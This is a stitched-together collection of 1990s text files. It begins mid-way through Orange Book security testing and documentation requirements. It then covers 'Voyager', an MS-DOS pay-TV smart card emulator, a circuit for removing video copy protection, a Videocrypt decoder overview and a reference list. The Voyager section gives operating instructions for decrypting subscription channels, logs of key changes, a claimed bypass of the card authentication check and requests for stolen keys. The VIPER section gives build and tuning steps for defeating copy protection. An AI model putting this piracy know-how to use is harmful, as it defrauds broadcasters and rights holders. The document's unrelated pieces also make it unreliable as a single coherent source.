architecture would most likely make interface testing impractical.  It is
likely that an evaluation team may determine, through inspection of the
system's test plan and its architecture, that black box testing of the
interface is insufficient and requires "white box" testing of instrumental
code sections.


Documentation of a test should be specific and briefly describe the TCB
mechanism being tested.  The expected results of each test case should be set
forth.  The test documentation should also contain an overview of the test
methods being used, and the security properties which are and are not
pertinent for each particular mechanism.  A list of all assumptions being made
about the testing environment should also be included .  

The Orange Book functional testing requirements also require that both the
system and the test plan be maintained using good configuration management
techniques.  This allows the vendor to provide a form of Life-cycle assurances
for the system.  Life-cycle assurance is a procedure for managing system
design, development, and maintenance using a method of rigorous and formalized
controls and standards.  It allows the vendor to reevaluate the system when
changes are made to determine whether the integrity of the protection
mechanism has been affected 



The Orange Book requires that a vendor produce documentation which describes
the system protection mechanisms, how the system can operate using these
protection mechanisms, how the system developer designed security into the
system, and how these security features and system were tested.  The amount of
documentation required increases with the targeted Orange Book class.  The
specific requirements are listed below starting at the lower Orange Book
classes and progressing through the higher classes.  In some cases, additional
documentation may be required


Security Features User's Guide tells users how to use the security mechanisms
of the system.  It provides the necessary information to understand and
effectively use the discretionary access control mechanisms to protect

Trusted Facility Manual tells the system administrator how to set the system
up so that it stays secure.  It should tell the administrator how to select
the proper options such that the system is operated in a mode that meets the
requirements of the Criteria.  If there are unsecure modes that the system can
run in, the manual should clearly state their impact on the security and
include warnings as appropriate.  This manual should also include any
procedures the administrator should use during operations to maintain
security.  If any of the hardware/software features require administrator
actions to complete the security protection, they should be thoroughly

Test Documentation describes results of security mechanism's functional
testing.  This documentation is used by the evaluation team to assess the
testing performed by the vendor.  This document describes those tests, how
they are run, and how to properly interpret the results.

Design documentation provides the rationale and supporting evidence for the
security of the design of the system.  The descriptive specifications are
included in this evidence.  It is intended to provide the sort of information
a new developer would need in order to support the system.  It should include
the manufacturer's philosophy of protection.  If the TCB consists of distinct
modules, the design documentation describes the interfaces between these


Security Features User's Guide remains the same as C1.  

Trusted Facility Manual is the same as C1, but also requires details on how to
maintain audit data.

Test Documentation remains the same as C1.

Design Documentation is the same as C1.


Security Features User's Guide remains the same as C2., but also describes the
additional security mechanisms required at this class (i.e., Mandatory Access

Trusted Facility Manual remains the same as C2, but also describes the
operator and administrator functions related to security.  This includes an
explanation of what's involved in changing the security characteristics of a
user, and a description of facility procedures, warnings, and privileges that
need to be controlled in order to operate the facility in a secure manner.

Test Documentation remains the same as C2.

Design Documentation remains the same as C2, but also describes the security
policy model (either formally, i.e., mathematically, or informally, i.e., in
English) and how the TCB implements this model.


Security Features User's Guide remains the same as B1, but also describes the
additional security mechanisms required by this class (i.e., Trusted Path).

Trusted Facility Manual remains the same as B1, but also details what
constitutes the TCB and how it can be modified.  It also describes how
separate operator and administrator functions need to be supported.

Test Documentation remains the same as B1, but includes the results of covert
channel tests.  Covert channels are communication paths that allow a process
to transfer information in a manner that violates the system's security

Design Documentation remains the same as B1, but also includes a formal
description of the model, and proof that it is sufficient for the policy.  It
will also describe how the TCB implements the reference monitor concept and
how it enforces the principle of least privilege.


Security Features User's Guide remains the same as B2, but also describes the
additional security mechanisms required at this class .

Trusted Facility Manual remains the same as B2, but also includes a
description on how to start up and restore the system security.  It also
describes the role of the Security Administrator.

Test Documentation remains the same as B2.

Design Documentation remains the same as B2, but also includes the
correspondence between the Detailed Top Level Specifications and the TCB.  The
TCB implementation is also shown to be informally consistent with the Detailed
Top Level Specifications.


Security Features Users's Guide remains the same as B3.

Trusted Facility Manual remains the same as B3.

Test Documentation remains the same as B3, but also includes the results of
the mapping between the Formal Top Level Specifications and the TCB source

Design Documentation remains the same as B3, but also includes a description
of the components that are strictly internal to the TCB.  It also includes a
Formal Top Level Specification to TCB correspondence.

DOCUMENTATION: VOYAGER: The MS-DOS Videocrypt Smart Card EMulator

VOYAGER -- MS-DOS Videocrypt smart card emulator

Voyager is named after the new StarTrek 'Voyager' series.
Most of the information about the videocrypt protocol is found in
details.txt written by Markus Kuhn.
This new file (VOYAGER.DOC) is a container for additional information
about the videocrypt system (cards series 09, 0a and further) and
also some additional information about the eurocrypt system.

The archive file contains the voyager.exe program, which is compatible
with season programs.
Voyager currently emulates a BskyB 07/09-series smartcard, The Adult-Channel
smartcard, Eurotica smartcard, RedHot smartcard and EuroCrypt smartcards
with all ECM's until release date included.

We are now using two version numbers (1.3i) that is Voyager/Season71 release,
and Key release (1.1) that will be used to know if Eurocrypt keys had been

Channel list: (VIDEOCRYPT 1)
The Children's Channel, The Family Channel, The Discovery Channel,
The Learning Channel, Sky Sports, Sky Sports 2, Sky Soap, U.K. Gold,
Sky Travel, Bravo, Nickelodeon, U.K. Living, Sky One, Sky Movies,
The Movie Channel, Sky Movies Gold, VH-1, CMT Europe, MTV Europe,
Disney Channel, Racing Channel, Playboy Channel, EBN,
Zee TV (TV Asia), TVX The fantasy channel, The Adult Channel and TV Eurotica.
Currently only The Adult Channel and TV Eurotica are decrypted.

Channel list: (EUROCRYPT M)
Filmnet 1, Filmnet 2, TV1000, TV1000 Cinema, TV3 Norway, TV3 Sweden,
TV3 Denmark, MTV Nordic, CNN Nordic, Eurosport Nordic,
Discovery Nordic, Children Channel Nordic, BBC Prime, Canal+ 16/9,
Cin‚Cin‚ma 16/9 and TV Plus.
Please mail us infos and any Eurocrypt key that you could get. Thanks !

Channel list: (EUROCRYPT S)
Not yet implemented. Eurocrypt-S will be on the next voyager release.
Please mail us infos and any Eurocrypt key that you could get. Thanks !

This version is supporting both Eurocrypt and Videocrypt.
Selection is done automaticaly. Various keys are implemented.

Sky has send out some new cards, decoem say it's card issue 10.
Read commands for the 09 are failing.

LAST D2MAC Key changes
21-12-95 TV3 Sweden switched back to key 0a
20-12-95 TV3 Denmark switched back to key 0a
06-12-95 TV3 Sweden/Denmark changed to key 0b
04-12-95 TV3 Norway changed to key 0b
24-09-95 Filmnet and TV1000 changed keys
28-04-95 TV3 changed the key
01-02-95 TV1000 changed keys

31-10-95 The big change from card 09 to card 10.
18-09-95 Code change, nanocommands are gone again.
         Sky is sending some strange '85' packets, card 10 commands ??
16-09-95 Sky tested some codes, resulting in 'no key fits'.
         Is Sky testing 0a cards or have they found something new...
15-09-95 Code change, nanocommands are back, (old) nanosequence 0x09, 0x28,
         0x39,0x46. Several other programs got defeated, many old versions
         started to work again, Voyager survived once again.
         It took some time but the change of 12-09-95 was for this ECM.
12-09-95 Code change, no nanocommands are being send anymore.
         Also some changes to the sub-id's: Nickelodeon was added to the
         The last few times this happend it was for short periods
         and followed by an actual ECM.
         If no nanocommand are being send, all clonecards and programs
         are working.
01-09-95 Code change, Voyager could handle it so no changes needed.
         Several others where defeated once again.
         Now subnano 0xbf, 0xc0 and 0xaa are in use.
15-08-95 Code change, fixed (changing the nanopointer 0xee, subnano without
         effect 0x88 because it's used by the kernel)
         skip 30 00 after 11 0A 00 EE
01-08-95 Code change, fixed (new nanocommand 0x0f and subnano's 0xbf, 0xc0)
28-06-95 Code change, Sky cleaned-up the nanocommand code.
         now only nanocommand 0x28 is in use.
         Voyager was allready prepared for this ECM.
         MTV also started to transmit VC encoded.
15-06-95 Code change, fixed 0xE7.. is ram not rom.
         pick up data byte 0xE7 from rom.
17-05-95 Code change, fixed nano-command switching between rompages.
         new nano subcommand for the nano 11h command: subcommand 08
         means: switching between rompage 1 and rompage 2
06-04-95 Code change, Nanocommands are back
15-03-95 Code change, no Nanocommands are being send anymore.
         Bit 5 in the channel-id is set.
08-03-95 Code change, adressing of packets is changed.
03-02-95 Code change, Rom-Page 0 is being used, 10 sec. picture,
         2.5 sec. no picture.
25-01-95 Code change, 7.5 sec. picture, 5 sec. no picture.
18-01-95 Code change
16-01-95 Code change

29-11-95 Code change, Eurotica changed but is still decoded.
01-09-95 Code change, The Adult Channel changed but is still decoded.
14-06-95 Code change, The Adult Channel switched back to the old keys.
         Voyager gets switch key 'J' to protect against PS ECM and a larger
         key table.
         Also autoswitch funtion implemented.
24-05-95 Code change, the ECM of 24-5-95 is called Perry Smith ECM
         last 64 itteration with constant 0x0d as input.
15-05-95 Code change
16-02-95 Code change
18-01-95 Code change

The information below is only for Sky 09/07 cards:
The sub-id is found in the low nibble (4 bits) of indata[5], if indata[3]+0x02
not equals indata[7] and indata[7]+0x02 not equals indata[3] or indata[3]+0x08.
equals indata[7].
The MultiChannels ID is now only for Sky One, Sky Soap and The Travel Channel.
Sky sports 2 uses the Sky sports ID.
All other channels are correctly identified using this method.

New id-f is used for all 'open videocrypt' channels like Sky News, CNE,
TVX freeview block, Hour of Power and non-decoded announcements like Showcase.
QVC still uses its own sub-id in the multichannels package.

By detecting the CPU type inside voyager and combining the results of many
reactions from Voyager users, Voyager has now an automatic delay.
It's still possible that the standard settings don't work, in that case
the auto delay can be overruled by setting the wa/wb/wc parameters on startup.
The auto delay detection can be activated with the 'A' parameter at start-up.

Most common settings are:

     XT's 86/88/V20/V30 : Voyager 1 wa50 wb0
     286 up to 16 MHz   : Voyager 1 wa50 wb0
     386 up to 40 MHz   : Voyager 1 wa50 wb1
     486 up to 100 MHz  : Voyager 1 wa50 wb2
     Pentium            : Voyager 1 wa50 wb2

All settings are also checked on old and new videocrypt chipsets.

VideoCrypt decoders contain a few built-in algorithms to prevent pirate
cards from being used. However due to a programming error on many of the
original decoders and IRDs (integrated receiver/descramblers), the most
powerful algorithm, the Fiat-Shamir zero-knowledge test, did not work
properly. On the newer videocrypt systems this error is fixed.
Voyager is patched and now acts exactly the same as the original cards
preventing the decoder to see it's not an original card.

VOYAGER [com] [wax] [wbx] [wcx] [wdx] [wex] [a] [d] [e] [i] [j] [m] [n] [q] [v] [t] [z]

com: Serial port to use.

wa thru we are delays, all entered in ms (milliseconds)
wa wait between reset and answer to reset
wb wait after each outgoing byte
wc wait between header and first procedure byte
wd wait between procedure byte and data
we wait between final data byte and procedure bytes

a: Videocrypt Automatic delay setting.
d: debug mode on when program is started.
e: save time by doing less screen updates.
i: Displays channelnames by sub-id for debugging.
j: Switches between Adult keys before and after 24th may ECM.
m: OSD suppress.
n: Display nanoinfo on startup.
q: Quick decoding mode.
v: Show hexnumbers in o.s.d. on startup.
z: set baud rate at 10000 baud.

defaults are:
com: 2
wa: 50
wb: 0
wc: 0
wd: 0
we: 0
dn: debug mode n on.
e: no time saving
m: no OSD suppression
n: don't show nanoinfo
vn: viewmode n on.
jn: Adult ECM switching mode n on.

Example: VOYAGER 1 wa0 wb0 m
starts voyager using comport 1 with reset delay and byte delay set at
0 milliseconds, and with onscreen display suppressed.

Voyager is patched to work on Pace MSS systems
if your decoder locks-up use the wc parameter. wc150000 seems to work on
some systems but you might try other values.
After implementing the ZKT, the wc parameter may not be needed.
It works fine on my MSS system.

READ the SETTINGS.TXT file for additional information on how to run voyager.

Keyboard commands once the program is running:

F1: help -> page up, down scroll help
q: quit program
d: toggle debug mode on/off
i: shows sub-id hex bytes for debugging
j: Toggles between adult tables/algorithms
n: toggle nanoinfo on/off
v: toggle viewmode on/off (hexnumbers in o.s.d.)
l: write last crypto messages to logfile VCLOG
a: increase reset delay
b: decrease reset delay
+: increase byte delay
-: decrease byte delay
1: increase procedure delay
2: decrease procedure delay
c: clear the screen
t: nano tracing mode on/off
x: access command mode on/off
e: time saving on/off
m: OSD on/off

1.3j, Keys release 1.2 : (Voyager/Season71 version)
     . 14-01-1996 (updated release)
     . Added a new D2Mac channel.
     . Added the 'C' switch to set the CI value.
     . Fixed some bugs.
     . Rewrote and optimized some of the routines.
     . Extended the Nokia compatibility.
     . Fixed a bug in the delay command line switch.
       Now all is working fine.
     . The pentium detect routine sometimes gives a wrong answer depending
       on the CPU used. No time to fix it.. wait on one of the next releases.
     . The Eurocrypt-S part is not yet patient.

1.3i, Keys release 1.1 : (Voyager/Season71 version)
     . 23-12-1995 (updated release)
     . Documented the source code (No it's NOT available).
     . Rewrote and optimized some of the routines.
     . Added the missing Eurocrypt commands.
     . Added Nokia compatibility.
     . Added Quick decoding mode (activate with 'Q' on commandline).
     . The automatic delay detection was left out in the last release and is
       now back again.
       The automatic delay works only for VideoCrypt and can be activated
       with the 'A' parameter on the commandline.
     . Added the new 0b key for the TV3's.
     . Bugfix on the answer strings.
     . Option 'T' transformed to 'Z', now you can always switch from 10000 to
       9600 and from 9600 to 10000 with the 'Z' key when the program is running.
       Use the 'Z' switch also on the commandline to start with 10000 baud.
     . Added a pentium detection routine
     . The auto delay detect is back. With the 'A' switch on the commandline
       The program uses automatic delays, only for VideoCrypt.
     . The Sky 10 card is not yet implemented, be patient

1.3h, Keys release 1.0 : (Voyager/Season71 version)
     . 02-12-1995 (updated release)
     . D2Mac Eurocrypt M implemented. (Not S)
       Channels supported :
       Filmnet+, Filmnet TCMC, TV1000, TV1000 Cinema, TV3 Norway, TV3 Sweden,
       TV3 Denmark, Filmmax, MTV Nordic, CNN Nordic, Eurosport Nordic,
       Discovery Nordic, Children Channel Nordic, BBC Prime, Canal+ 16/9,
       Cin‚Cin‚ma 16/9.
     . The Sky 10 card is not yet implemented, be patient

1.35:. 03-10-1995 (updated release)
     . reprogrammed for use on XT (8088/8086) systems.
     . Code change, sky is using id-F for all the 'open-videocrypt' channels
       except QVC wich still has its own id.
     . Private version, so not spreaded and not available.

1.3: . 27-09-1995 (updated release)
     . Last version before Sky's card change ??
     . New layout.
     . Added auto delay detect, so delays are now automaticaly set.
       The detected CPU type is show on-screen, the Pentium is not yet detected.
     . Added a new -second- delay routine, now both delay types are available
       Miliseconds delays and Microseconds delays (Switching with 'Y').
     . Id-F for The Disney Channel added.
     . Sub-id for Nickelodeon added.
     . Added the videocrypt mode identifier.
     . Updated debug routines.
     . Updated commandline options.
     . Added the '?/h/H' key's to see the commandline options.
     . Updated the messages displayed when using the wrong serial port.
     . Adult channel decoding now with 3 modes: Auto ECM switching (default),
       PS-ECM on and PS-ECM off. ('J' key for switching)
     . Bug fix: black/white displaymode now working properly.
     . Cleaned up the sources.
     . Unlike some others Voyager had no problems with the ECM's and/or code
       changes from 01-09-95, 12-09-95 till 15-09-95 and 18-09-95 till now.
     . Although no longer in use, i added the RedHot TV decoding again just
       to have it all in one version.
NOTE:  The voyager 2.x versions are *NOT* mine, just ignore them they do
       *NOT* contain the better parts of this Voyager version !!!
       This is the official update !!

1.25:. 25-08-1995 (updated release)
     . Added FSZKT test 1, including original serial numbers.
       Voyager now acts as an original smartcard.
       No more problems after a minute of decoding.
     . Added the 'C' key to clear and redraw the screen with the Voyager word.
     . Added the 'T' key for Nano tracing.
     . Redefined the 'X' key to display the access commands on screen.
       Now you can follow the activation and deactivation of cards on screen.
     . Added all nanocommands.
     . Changed byte delay at startup to 0.
     . Cleaned up the complete sources.

1.2: . 16-08-1995 (updated release)
     . Implemented the Sky ECM of 16-08-95.
     . Cleaned up the nanocodes.

1.1: . 07-08-1995 (updated release)
     . Implemented the Sky ECM of 01-08-95.
     . Implemented cardcommand 72 (Answer from previous card).
     . Debugging now in 4 steps: None, level 1, level 2 and level 3.
     . The 'I' key now shows the 3 needed sub-id bytes on the PC screen.
     . Switches 'M' and 'E' now also when running the program.
     . Switches '1' and '2' implemented for procedure delay.
     . Updates to the channel naming tables.
       Also MTV-Europe name added to the table (was decoded fine allready
       in version 1.0)
     . Added full Sky 07 card decryption, just to have it all in one version.
     . Adult/Eurotica/??? keytable autosearch added to try to survive
       future ECM's.
     . Unlike others Voyager had no problems with the ECM of 28-06-95.
       Allthough it was not a real ECM but just a clean-up in the
       Nanocommands, various seasons and batterycards got defeated.

1.0: . 28-06-1995 (initial release)
     . Added the I switch to toggle between normal operation and
       showing the channels by sub-id on the PC screen for debugging.
       'I' shows also the corresponding 'sub-id' hex byte.
     . Fixed various Pace MSS problems.
     . Fixed TV Eurotica.
     . Program should now autoswitch between 'old' codes and PS ECM.
     . Adult/Eurotica keytable extended.

     . Now toggle with 'J' key between adult key tables and
       ECM 0d (Perry Smith ECM).
     . Fixed Sky ECM of 15-06-95.
     . ECM of 17-05-1995 implemented
     . Turned 'Nanoinfo' to off at start-up for slower systems.
     . Some cosmetic changes to async.asm
     . Speedup of subchannel i.d. in o.s.d..
     . Subchannel i.d.'s of Discovery and The Family channel added.
     . Viewmode included (shows the first 8 bytes from indata in the o.s.d.)
     . No key fits! included.
     . Improved Channel i.d., subchannel I.D. of multichannels included
     . Nano info included, displays full nano string and last pointers and
       rompagenumbers used by a 30-nano command
     . Channel name in the o.s.d. if you press the PPV-button
     . Removed cursor in the left upper corner
     . Improved onscreen display and channel i.d.
     . Revised com port to COM2 on startup
     . Fixed 'Reset' from PACE type decoders hanging program on startup
     . Revised some code for xx286 cpu's
     . Added TV-X new channel from 03-06-95.
     . first implementation, derived from SEASON7.c being
       the source for season in the 07-series period and SKY09PUB.ZIP
       being the implementation of the 09-series for 8051(Thanks T.:-)) chips).
     . new user interface

Updates at the moment also on: WWW.XS4ALL.NL/~CEYLON

SOFTDOCS: VIPER: The Video Protection Eraser

                       VIPER - VIdeo Protection ERaser


    The information supplied here and in the accompanying diagram is for
    educational use only.


All the bits should be pretty easy to get.  C1 and C2 might be a bit pricey,
but they make up part of a timing circuit so you need ones that have good
thermal stability.  The LM1881 is pretty common I think - most of the catalogs
over here have them in.  C3 Needs to be non-electrolytic as it has to be able
to handle positive and negative voltages.  The logic I.C.s are all high speed
CMOS, but you might be able to get away with slower ones - I am not sure.
The frequencies are all pretty low (10 Mhz or less) so you shouldn't really
need to worry about the layout of your PCB.
R1 and R2 need to be selected when you test it, preferably with an
oscilloscope, but you might be able to cludge it just by seeing what effects
higher and lower values have.  Increase R2 until you get a black line at the
top of the screen, then reduce it until the line dissapears.  If the
protection system is still affecting the picture reduce R1 and start again.
The values on the diagram are ones that I used in my working version so they
are probably about right.
It is a bit of a pain having 3 supply rails, but you need the +12v on the 
output buffer to stop any clipping.  The black level of the video signal can
wander about all over the place, and you need large caps to handle the low
frequency parts of a video signal; for example if the screen is blank.

How it works

You have got me there.  It has been a long time since I designed it, and I
have pretty much forgotten myself.  Please bear that in mind when I get things
wrong ;)

The copy protection system (I forget it's name) works like this :

A screenfull of data is made up from 625 lines (in the UK) which are stacked
on top of each other to make a picture.  Each line contains information about
the colour on that line, the brightness of each pixel, and very precise timing
signals to make sure that each line is exactly on top of the next.

This is what the start of a line of video data looks like -

           .....The 'back porch'
         ..:...   ____                 -- 1 Volt, light
        :      : |    \    ___
___     __xxx___/      \__/   \___ ... __ 0.3 Volt, black
   \___/                               __ 0 Volt, 'blacker than black'

     ^     ^    ^^^^^^^^^^^^^^^^^^------- The video signal
     |     |----------------------------- The colour burst
     |----------------------------------- The Line Sync

  TIME ------->

The line sync pulse tells the TV/VCR that it is the start of the next line.
The TV/VCR latches onto these pulses and syncs itself in with them to keep
the picture steady.

The colur burst is about 9 cycles of 3.58Mhz to establish the tint and
saturation for the colours on the line.  It is put on a part of the line called
the 'Back Porch'.

The video signal makes up the rest of the line, and is what you see on the
screen.  When the voltage is 1V the corresponding part of the screen is
white.  When the voltage is 0.3V the screen is black.

The voltage range from 0.3V to 0V is reserved for sync pulses, and is
sometimes referred to as 'blacker than black'.

Although the voltage of black is supposed to be 0.3V there is usually an 
offset caused by the nature of the class A output amplifier in the VCR.
To make sure that the TV/VCR knows where the black voltage is it samples the
back porch voltage and assumes that it is what the voltage for black should

There are a few lines at the start of each screen which are not shown on the
TV.  These are set aside for putting digital information on such as teletext
or subtitles.  The copy protection system uses these lines to screw up the
recording VCR.

If you look at these lines with an oscilloscope they look like this -

          ___        ___        ___          __ 1V, White
         /   \      /   \      /   \
        |     |    |     |    |     |
___     |     |_   |     |_   |     |_  ...  __ 0.3V, Black
   \___/        \_/        \_/               __ 0 Volt, 'blacker than black'

     ^   ^^^^^^  ^  ^^^^^^--------------------- Simulated back porch
     |     |     |----------------------------- Simulated sync signal
     |     |----------------------------------- Original back porch
     |----------------------------------------- Original sync signal

  TIME ------->

Rather than being at 0.3V, the back porch has been raised.  The protection
also uses extra simulated sync pulses and back porches to increase the effect.
The circuit which detects the black level sees the back porch voltage as 1V.  
Although the VCR averages the back porch levels for all the 625 lines, there
are enough false ones on the first few lines to make a significant difference.
If the false back porches are at 1V, for example, the average back porch
voltage for the whole screen might be 0.7V.  This means that only parts of the
picture which are 0.7V or higher will be seen, and those which are less will
come out as black, or, as sometimes happens will be mistaken by the recording
VCR for sync pulses.  When the back porches are raised the picture on the 
recording VCR dims. The false back porches are also moved up and down which
makes the brightness go up and down.

The Viper video protection eraser uses the following method to remove these
false back porches.

U4 is an analogue switch which switches the output to either the input
(i.e. straight through) or to the 4.7uF capacitor (C3) which is at black
level voltage.  U2a is a monostable, triggered by the field sync pulse from
U1 and triggers U2b after a time which is set by R1 and C1.  R1 and C1 should
be adjusted so that U2b is triggered when the protection 'spikes' start.  When
U2b is triggered the output is connected to C3 (blanking the 'spikes'), apart 
from when sync pulses are detected.  When this happens the output is flipped 
back to the input for the duration of the pulse. The duration of the spike 
blanking depends on R2 and C2.
C3 is charged up through the 1K resistor on pin 12 of U4 on the back porches 
of all the lines except the ones with the spikes.  This generates an 
approximation of the black level voltage.
Q1 is a buffer to get the output impedance to about 75 Ohms.  It is an
emitter follower with a gain of about .95 (I think).

That is about all I can remember - it's been about 3 or 4 years since I was
fiddling about with this stuff.  I left out a whole load of stuff about the
video signal (colour subcarriers, vertical blanking etc, etc.) because it is
not relevant to this.

The circuit works fine with the PAL system we have here in the UK.  I don't
know how well it will work with NTSC - I don't see why it shouldn't, but I am
not an expert on NTSC video.

Anyway, have fun mucking about with it.

Dave Sawford 1994.

An Overview of the Videocrypt System




 VideoCrypt is without doubt a resilient system. It has been hacked
in the past eighteen months and it has recovered successfully. The
fact that it has been hacked illustrated that it is not pirate proof or
indeed hacker proof.

  When the system was launched, some of the public relations
people claimed that it was the most pirate proof system yet devised.
This pirate proof attribute was a myth. A myth is an attempt to explain
a reality with the mental tools available. Therefore since the public
relations people neither understood the abilities of hackers or
security of the system it would be, to them at least, pirate proof.

  The philosophy of the VideoCrypt system is that of the Detach;
Secure Processor. The decoder itself is merely a dumb terminal.
detachable secure processor is the smart card. Theoretically
smart card contains the Critical data and the decoder contains not
of significance. This "dumb terminal' idea has been echoed by N
Datacom and Sky executives.           

  The scrambling technique used in VideoCrypt is line cut and rotate.               
The video is digitised and then cut at one of 256 possible points. the              
digitised video segments are then rotated about this point and the                  
digital video is converted back to analogue.

  The fact that the cut point is one of 256 points means that it can be           
defined as an eight bit word. This byte is supplied by a Pseudo
Random Number Generator. The PRNG is sixty stages long and is
reset approximately every two and a half seconds. The seed is sent in
an encrypted format in the vertical blanking data.

  VideoCrypt transmits addressing and access control data in a few
lines of the VBI. The data rate is slower than that of teletext. Each of
the packets of data has a checksum. This checksum is a product of
the active data in the packets. 

  The checksum is apparently not a standard one. It is, according to
sources, some sort of message digest or hash function. The data is
fed into a routine that generates a fixed length output. This output
block is attached to the data packet. If any of the bits in the data are
changed, the change will be detected. The decoder will run the data
through the same routine. The output block should be the same as
that transmitted with the data packet. If the comparison check fails
then the data has been altered.

  Only 585 lines or so in each frame are scrambled. This is to enable
the VBI signals to be checked without descrambling the video. The
reason for this is so that the signal quality can be checked on SMATV
and cablenets without having to descramble the signal. It is a
standard feature on most scrambling systems.

Decoder Architecture

  The VideoCrypt stand alone decoder is a hybrid design. It uses
both discrete components and surface mount components. This is
necessary to reduce the size of the board. The board type used in the
early stand alone decoders is SRBP or synthetic resin bonded paper.
It is not the most reliable of board materials but it is one of the
cheapest. It does reject the television manufacturing industry as most
of the boards in television receivers are SRBP.

  In the IRD version, the power supply is part of the main receiver 
PSU. There are four voltage rails in the decoder: +21V, +12V5, +15V 
and +5V. The main part of the circuitry runs off of the +5V0 rail. 

The House Keeper microcontroller

  The main processor in the descrambler is the 8052 from Intel. This 
is a microcontroller and has an on-chip ROM and RAM. There are
also two types of this microcontroller available; the BASIC  ROM
version and the Mask programmable version. It is probable that the
version used in the descrambler is the Mask version. This means that
there is an 8K program running the descrambler. The 8052 can be
forced to disgorge the control program.

  Many veteran hackers who examined the Sky decoder were
suspicious of the ease with which the 8052 could be forced to
disgorge the control program. By putting a finger across pins on the
ICs, some very strange messages came up on the screen. One of
these was "FALSE CUT POINT". The control program when
disassembled proved to be little more than house keeping with a few
card zap routines.

  The incriminating text proved that the ZC404044 was a secure            
Microcontroller. There was one other way of getting confirmation - 
phone Motorola, the manufacturers of the chip, and ask them about         
the IC.

  Of course the fact that the program in the 8052 could be read and        
examined meant that the whole card to secure processor interface
could be monitored and where necessary the data could be modified.        
This has led to the most devastating hack on VideoCrypt - The             
KENtucky Fried Chip.

The Secure Processor

 The real heart of the Sky decoder is the ZC404044 or in later            
versions the ZC404047. The earlier decoders have an eight pin
EEPROM. The later versions incorporate the EEPROM data on the             
ZC404047. The control program is held in masked ROM and as such           
is very difficult to read. Ordinary attempts to disgorge it failed and    
there are rumours that the ICs are being reversed in the Far East. 

The Custom Logic

  TCllOG03AP is custom logic. It handles the control of the video          
descrambling circuitry. This is also the most likely area for the PRNG.   
On same of the later versions of VideoCrypt decoders this part is         
labelled TCE mV-2. The TCE possibly standing for Thomson
Consumer Electronics. This IC also handles the clock generation for       
the whole decoder. The IC's clock is derived from a 28 MHz crystal.       

The Video Descrambler

  The video section of the VideoCrypt decoder is elegantly simple.
The scrambled video is digitised by a TDA8703 ADC. This turns the
video into a sequence of 8 bit words. The digitised video is then fed to  
a set of two FIFO memories. FIFO stands for first in first out. These
ICs are capable of storing 910 8 bit words each.

  Each FIFO holds one segment of the line so that reassembling the 
video is merely a question of switching between the two FIFOs when 
clocking out the data. The descrambled digitised video, with the
segments in the correct order, is fed to a TDA8702 DAC.
The multiplexing and latching is controlled by the custom logic IC.
The analogue video is then fed to the output stage. This stage is a
discrete transistor design. The video signal is clamped and the on
screen graphics are added. The resulting signal is filtered before
being routed to the SCART connector or back into the receiver.

References relating to the VideoCrypt Pay-TV System (February 18, 1995)

References with information relating to the VideoCrypt pay-TV system

Markus Kuhn -- 1995-02-18

A book (known as the 'Black Book 4') with some of information about
Videocrypt and other pay-TV systems is available from:

  Swift Television Publications, 17 Pittsfield, Crickdale, Swindon, Wilts,
  UK.  Tel +44 793 750620, Fax +44 793 752399:

  "European Scrambling Systems 4"
  by John McCormac  (32pounds + postage)  ISBN 1-873556-03-9.  
  Waterford University Press, Ireland, voice/fax: +353-51-73640.

John McCormac <>, the author of the above book
also operates a bulletin board system, but you have to pay for access:

  phone: +353 5150143

Reference about the Fiat-Shamir identification/signature system used
in the protocol:

  Amos Fiat and Adi Shamir, "How to prove yourself: Practical solutions to
  identification and signature problems", in Advances in Cryptology --
  CRYPTO '86, A.M. Odlyzko (editor), Springer-Verlag, 1987

The following Internet servers provide collected information about

- ftp protocol:, login: anonymous,

- ftp protocol:, login: anonymous,

- FSP protocol (NOT ftp!):, port 1994,

The following BBS contains also some interesting related files:

  ALTMARK-BBS, +49 3935 213550

USENET discussions about technical details of Videocrypt take place
in A close mailing-list tv-crypt exists
for more technical and advanced topics of pay-TV security. Subscription
to tv-crypt is only by invitation in order to keep the technical level
of discussion high.

Some publications about Videocrypt are:

        1) Jonathan Hashkes and Michael Cohen, "Managing Smart Cards for Pay
           Television, The VideoCrypt Approach", News Datacom, Jerusalem,
           Seminar on Conditional Access for Audiovisual Services, Rennes,
           France, 12-14 June 1990 (ACSA `90).

        2) Michel Leduc, "Systeme de Television a Peage a Controle d'Acces
           Pleinement Detachable. Un Example d'Implementation: VideoCrypt",
           Thomson Lerea, Illkirch, France.
           Seminar on Conditional Access for Audiovisual Services, Rennes,
           France, 12-14 June 1990 (ACSA `90).

        3) Patrice Peyret, Gilles Lisimaque, T.Y. Chua, " Smart Cards Provide
           Very High Security and Flexibility in Subscribers Management",
           Gemplus Card International Corp., Rockville, USA.
           IEEE Transactions on Consumer Electronics, vol. 36, No. 3,
           pp. 744-752, August 1990.

        4) G. Morgan, "Smart Cards for Subscription Television: VideoCrypt
           - a Secure Solution", News Datacom, London, UK.
           Smart Card `91 International Exhibition, London, UK, 12-14 Feb.
           1991 (Peterborough, UK: Agestream Ltd. 1991), 8pp.

        5) European Patent EP 0 428 252 A2: A system for controlling
           access to broadcast transmissions.

        6) International Standard ISO 7816: Identification cards --
           Integrated circuit cards with contacts, Geneva, 1988.

This list was compiled by Markus Kuhn <>
and valuable information was contributed by

  Mike Pringle <>
  Rolf Michelsen <>
  B. Markus Jakobsson <>

and other whose names I've forgotten to notate or who don't want to be
mentioned. Further contributions are very welcome!